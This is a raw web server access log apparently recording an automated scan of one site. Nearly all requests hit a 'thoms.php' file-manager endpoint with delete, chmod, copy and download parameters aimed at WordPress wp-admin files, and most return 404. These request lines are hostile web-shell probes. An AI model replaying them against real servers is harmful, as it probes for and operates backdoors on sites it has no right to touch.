45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /thoms.php?del=site-health-info.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=site-health-info.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /biotaiwan.com.tw/wp-admin/theme-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /thoms.php?chmod=admin-ajax.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /biotaiwan.com.tw/wp-admin/user-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-themes.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-themes.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /thoms.php?del=users.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=users.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fuser HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fload-scripts.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fload-scripts.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /thoms.php?del=menu.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=menu.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /thoms.php?chmod=options-reading.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Finstall-helper.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Finstall-helper.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /biotaiwan.com.tw/wp-admin/options-head.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /thoms.php?del=ms-options.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-options.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:06 -0400] "GET /biotaiwan.com.tw/wp-admin/ms-themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?chmod=widgets-form.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?dl=edit.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?del=ms-users.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-users.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?del=site-editor.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=site-editor.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /biotaiwan.com.tw/wp-admin/credits.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=update-core.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?dl=customize.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=customize.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-general.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fpress-this.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fpress-this.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?del=privacy.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=privacy.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Ftheme-editor.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Ftheme-editor.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?del=images&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=images&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?del=update.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=update.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:07 -0400] "GET /thoms.php?dl=freedoms.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=freedoms.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /biotaiwan.com.tw/wp-admin/load-styles.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /biotaiwan.com.tw/wp-admin/edit-link-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?chmod=network.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=network.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-head.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-head.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?del=post-new.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-new.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-themes.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fprofile.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fprofile.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=term.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?chmod=user&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?dl=font-library.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=font-library.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-permalink.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-permalink.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?del=upgrade-functions.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /biotaiwan.com.tw/wp-admin/users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?chmod=custom-background.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /biotaiwan.com.tw/wp-admin/site-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:08 -0400] "GET /thoms.php?chmod=export.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=export.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fsite-health-info.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fsite-health-info.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?chmod=export-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fadmin-post.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fadmin-post.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?dl=link.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=customize.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?del=edit-form-comment.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?chmod=post.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?dl=widgets-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?dl=options-general.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-general.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fasync-upload.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fasync-upload.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?del=options-reading.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-reading.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?dl=plugin-editor.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /thoms.php?dl=authorize-application.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:09 -0400] "GET /biotaiwan.com.tw/wp-admin/contribute.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?del=upgrade.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?del=credits.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=credits.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?del=revision.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=revision.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?dl=upgrade-functions.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?dl=admin-ajax.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?dl=contribute.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=contribute.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /biotaiwan.com.tw/wp-admin/tools.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=site-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:10 -0400] "GET /thoms.php?del=widgets.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
